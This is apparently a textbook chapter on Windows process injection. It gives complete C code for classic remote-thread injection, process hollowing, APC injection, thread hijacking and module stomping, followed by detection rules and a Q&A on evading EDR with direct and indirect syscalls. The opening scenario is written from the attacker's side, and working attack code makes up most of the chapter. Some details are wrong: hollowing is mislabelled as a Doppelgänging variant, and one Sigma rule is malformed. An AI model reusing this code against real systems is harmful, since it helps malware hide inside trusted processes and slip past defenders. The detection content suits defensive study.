Chapter 193

Process Injection Techniques

Process injection relocates shellcode or a full PE image into a legitimate process's memory space — making the malicious code appear to originate from a trusted process like explorer.exe or svchost.exe. Each technique leaves a different combination of API call sequences, memory attributes, and host-based artifacts that detection engineers use to distinguish injected code from legitimate activity. The war between injection novelty and detection coverage is continuous.

Scenario

Your shellcode is executing inside cmd.exe — easily spotted by EDR as a suspicious process making network connections. You need to migrate into a less-suspicious, long-lived process (explorer.exe) without writing a DLL to disk and without triggering Sysmon's CreateRemoteThread event (Event ID 8) which every SOC tunes alerts on.

Classic VirtualAllocEx + WriteProcessMemory

// The textbook injection sequence. Widely detected but important as baseline.
// Indicators: VirtualAllocEx with RWX permissions + WriteProcessMemory +
// CreateRemoteThread — all three in sequence from the same process = high-fidelity.

BOOL ClassicInject(DWORD pid, BYTE* sc, DWORD scLen) {
    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProc) return FALSE;

    // Allocate RW first, write, then change to RX (avoids RWX flag)
    LPVOID mem = VirtualAllocEx(hProc, NULL, scLen,
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    SIZE_T written;
    WriteProcessMemory(hProc, mem, sc, scLen, &written);

    DWORD old;
    VirtualProtectEx(hProc, mem, scLen, PAGE_EXECUTE_READ, &old);

    HANDLE hThr = CreateRemoteThread(hProc, NULL, 0,
        (LPTHREAD_START_ROUTINE)mem, NULL, 0, NULL);
    CloseHandle(hThr);
    CloseHandle(hProc);
    return TRUE;
}

Process Hollowing

// Process hollowing (Process Doppelgänging variant):
// 1. CreateProcess with CREATE_SUSPENDED → new suspended process at legitimate image path
// 2. NtUnmapViewOfSection → unmap the original executable from the new process
// 3. VirtualAllocEx + WriteProcessMemory → map malicious PE at same base address
// 4. SetThreadContext → update EIP/RIP to new entry point
// 5. ResumeThread → execute malicious PE inside the legitimate process image

BOOL ProcessHollow(LPCWSTR targetPath, BYTE* payloadPE, DWORD payloadLen) {
    STARTUPINFOW si = {0}; si.cb = sizeof(si);
    PROCESS_INFORMATION pi = {0};

    // Step 1: Create suspended
    CreateProcessW(targetPath, NULL, NULL, NULL, FALSE,
        CREATE_SUSPENDED, NULL, NULL, &si, &pi);

    // Step 2: Unmap original image
    typedef NTSTATUS(NTAPI* pNtUnmap)(HANDLE, PVOID);
    pNtUnmap NtUnmap = (pNtUnmap)GetProcAddress(
        GetModuleHandleW(L"ntdll.dll"), "NtUnmapViewOfSection");

    PIMAGE_DOS_HEADER dosHdr = (PIMAGE_DOS_HEADER)payloadPE;
    PIMAGE_NT_HEADERS ntHdr  = (PIMAGE_NT_HEADERS)(payloadPE + dosHdr->e_lfanew);
    DWORD_PTR imgBase = ntHdr->OptionalHeader.ImageBase;

    NtUnmap(pi.hProcess, (PVOID)imgBase);

    // Step 3: Allocate and write payload
    LPVOID remote = VirtualAllocEx(pi.hProcess, (LPVOID)imgBase,
        ntHdr->OptionalHeader.SizeOfImage, MEM_COMMIT|MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(pi.hProcess, remote, payloadPE, payloadLen, NULL);

    // Step 4: Fix up thread context (RIP → payload EP)
    CONTEXT ctx = {0}; ctx.ContextFlags = CONTEXT_FULL;
    GetThreadContext(pi.hThread, &ctx);
    ctx.Rcx = imgBase + ntHdr->OptionalHeader.AddressOfEntryPoint;
    SetThreadContext(pi.hThread, &ctx);

    // Step 5: Resume
    ResumeThread(pi.hThread);
    CloseHandle(pi.hProcess); CloseHandle(pi.hThread);
    return TRUE;
}

APC Queue Injection

// APC (Asynchronous Procedure Call) injection: queue an APC to a thread
// in alertable wait state. When the thread calls SleepEx/WaitForSingleObjectEx
// with bAlertable=TRUE, Windows drains the APC queue and executes each entry.
// APC injection does NOT use CreateRemoteThread — avoids Sysmon Event ID 8.

BOOL ApcInject(DWORD pid, BYTE* sc, DWORD scLen) {
    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

    LPVOID mem = VirtualAllocEx(hProc, NULL, scLen,
        MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READ);
    SIZE_T written;
    WriteProcessMemory(hProc, mem, sc, scLen, &written);

    // Enumerate threads in target process
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    THREADENTRY32 te = {0}; te.dwSize = sizeof(te);

    if (Thread32First(hSnap, &te)) {
        do {
            if (te.th32OwnerProcessID != pid) continue;
            HANDLE hThr = OpenThread(
                THREAD_SET_CONTEXT|THREAD_SUSPEND_RESUME, FALSE,
                te.th32ThreadID);
            if (hThr) {
                // Queue APC to every thread — at least one will be alertable
                QueueUserAPC((PAPCFUNC)mem, hThr, 0);
                CloseHandle(hThr);
            }
        } while (Thread32Next(hSnap, &te));
    }
    CloseHandle(hSnap);
    CloseHandle(hProc);
    return TRUE;
}

Thread Context Hijack

// Thread context hijacking: suspend an existing thread, modify RIP to shellcode,
// resume. No new thread created → avoids CreateRemoteThread / NtCreateThreadEx.
// Risk: target thread may be in a critical section; corrupting RIP without a
// return trampoline crashes the process. Use a stub that saves/restores context.

BOOL HijackThread(DWORD pid, DWORD tid, BYTE* sc, DWORD scLen) {
    HANDLE hProc = OpenProcess(PROCESS_VM_WRITE|PROCESS_VM_OPERATION, FALSE, pid);
    HANDLE hThr  = OpenThread(THREAD_SUSPEND_RESUME|THREAD_GET_CONTEXT
                              |THREAD_SET_CONTEXT, FALSE, tid);

    SuspendThread(hThr);

    CONTEXT ctx = {0}; ctx.ContextFlags = CONTEXT_FULL;
    GetThreadContext(hThr, &ctx);

    // Allocate shellcode + trampoline stub
    // Trampoline: shellcode executes, then JMP back to original RIP
    LPVOID mem = VirtualAllocEx(hProc, NULL, scLen + 16,
        MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    // Write shellcode
    WriteProcessMemory(hProc, mem, sc, scLen, NULL);

    // Write return JMP: mov rax, ; jmp rax  (12 bytes)
    BYTE trampoline[12] = {
        0x48, 0xB8,  // MOV RAX, imm64
        0,0,0,0,0,0,0,0,  // original RIP placeholder
        0xFF, 0xE0   // JMP RAX
    };
    *(DWORD64*)(trampoline+2) = ctx.Rip;
    WriteProcessMemory(hProc, (BYTE*)mem + scLen, trampoline, 12, NULL);

    ctx.Rip = (DWORD64)mem;
    SetThreadContext(hThr, &ctx);
    ResumeThread(hThr);

    CloseHandle(hThr);
    CloseHandle(hProc);
    return TRUE;
}

Module Stomping

// Module stomping: overwrite the .text section of a legitimate loaded DLL
// in the target process with shellcode. The memory region:
//   - Is backed by a legitimate file path (the DLL on disk)
//   - Has PAGE_EXECUTE_READ permissions (set by the loader)
//   - Does not appear as VirtualAlloc'd memory
// ETW/EDR scanning "unbacked executable memory" (memory not backed by a file)
// will miss this injection because it IS backed by a file.
// Caveat: overwrites a loaded DLL — if the DLL's functions are called later, crash.
// Use a DLL that is loaded but never called (e.g., a language pack DLL).

BOOL ModuleStomping(DWORD pid, LPCWSTR dllName, BYTE* sc, DWORD scLen) {
    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

    // Find base address of target DLL in remote process
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pid);
    MODULEENTRY32W me = {0}; me.dwSize = sizeof(me);
    BYTE* dllBase = NULL;
    if (Module32FirstW(hSnap, &me)) {
        do {
            if (!_wcsicmp(me.szModule, dllName)) {
                dllBase = me.modBaseAddr;
                break;
            }
        } while (Module32NextW(hSnap, &me));
    }
    CloseHandle(hSnap);
    if (!dllBase) { CloseHandle(hProc); return FALSE; }

    // Write shellcode to .text section base (overwrite with RWX temporarily)
    DWORD old;
    VirtualProtectEx(hProc, dllBase + 0x1000, scLen,
        PAGE_EXECUTE_READWRITE, &old);
    SIZE_T written;
    WriteProcessMemory(hProc, dllBase + 0x1000, sc, scLen, &written);
    VirtualProtectEx(hProc, dllBase + 0x1000, scLen, old, &old);

    // Execute via APC or remote thread pointing into the stomped DLL
    HANDLE hThr = CreateRemoteThread(hProc, NULL, 0,
        (LPTHREAD_START_ROUTINE)(dllBase + 0x1000), NULL, 0, NULL);
    CloseHandle(hThr);
    CloseHandle(hProc);
    return TRUE;
}

Injection Technique Comparison

TechniqueNew thread?Unbacked memory?Disk write?Detection easeCrash risk
VirtualAllocEx + CreateRemoteThreadYesYes (VirtualAlloc)NoEasy — 3-API chainLow
Process HollowingNo (reuses suspended thread)YesNoMedium — NtUnmap callLow
APC InjectionNoYesNoMedium — no EID 8Low
Thread Context HijackNoYesNoMedium — no new thread eventHigh (stack state)
Module StompingVariesNo (file-backed)NoHard — passes unbacked-mem scanHigh (DLL function calls)
Reflective DLL InjectionYesYesNoMedium — no LoadLibraryLow

Detection Engineering

title: VirtualAllocEx + WriteProcessMemory + CreateRemoteThread — Classic Injection
logsource:
  product: windows
  category: create_remote_thread
detection:
  selection:
    EventID: 8  # Sysmon CreateRemoteThread
  not_legitimate:
    SourceImage|endswith:
      - '\svchost.exe'
      - '\WerFault.exe'
      - '\csrss.exe'
  condition: selection and not not_legitimate
level: high
tags: [attack.defense_evasion, T1055.001]

title: Process Hollowing — NtUnmapViewOfSection on Remote Process
logsource:
  product: windows
  category: process_access
detection:
  selection:
    EventID: 10  # Sysmon ProcessAccess
    GrantedAccess: '0x1fffff'  # PROCESS_ALL_ACCESS
  not_self:
    SourceImage: TargetImage  # accessing own process is normal
  condition: selection and not not_self
level: medium

-- MDE KQL: unbacked executable memory allocation in remote process
DeviceEvents
| where Timestamp > ago(1d)
| where ActionType == "RemoteThreadCreation"
   or ActionType == "ProcessInjection"
| where InitiatingProcessFileName !in~ (
    "svchost.exe","csrss.exe","WerFault.exe","MsMpEng.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName,
    ProcessCommandLine=InitiatingProcessCommandLine,
    TargetProcessName=FileName, ActionType

-- MDE KQL: module stomping — VirtualProtect on file-backed region
DeviceEvents
| where ActionType == "MemoryModified"
| where AdditionalFields has "PAGE_EXECUTE_READWRITE"
| where AdditionalFields has ".dll"
| project Timestamp, DeviceName, InitiatingProcessFileName,
    AdditionalFields

Q&A

APC injection avoids CreateRemoteThread but still uses VirtualAllocEx and WriteProcessMemory. Why do these API calls remain detectable even without the thread creation, and what would a more evasive implementation look like?

VirtualAllocEx allocates memory in a remote process, and WriteProcessMemory writes to it. Both are kernel-level operations hooked by most EDRs through user-mode hooks in ntdll.dll (hooking NtAllocateVirtualMemory and NtWriteVirtualMemory). ETW providers log cross-process memory operations. Even without CreateRemoteThread, the allocation + write pattern from a suspicious source process (e.g., cmd.exe calling VirtualAllocEx targeting explorer.exe) is a detectable cross-process operation pair.

A more evasive implementation avoids cross-process API calls entirely by using a shared-memory approach: (1) NtMapViewOfSection: create a shared section (NtCreateSection), write shellcode into it from the attacker process, then map the same section into the target process (NtMapViewOfSection) — the target's memory region is directly backed by the section, not VirtualAlloc'd. Some EDRs monitor NtMapViewOfSection on remote processes, but it is less commonly hooked. (2) Heaven's Gate / direct syscalls: bypass the EDR's user-mode hooks entirely by issuing NT syscalls directly (with the correct syscall number from the current OS version's ntdll.dll), skipping the hooked wrapper functions that trigger EDR callbacks. (3) Indirect syscalls: instead of calling syscall from attacker code (detectable by call stack analysis), locate the syscall instruction inside the legitimate ntdll.dll stub and jump to it — making the call stack appear to originate from ntdll, evading call-stack-based EDR detection.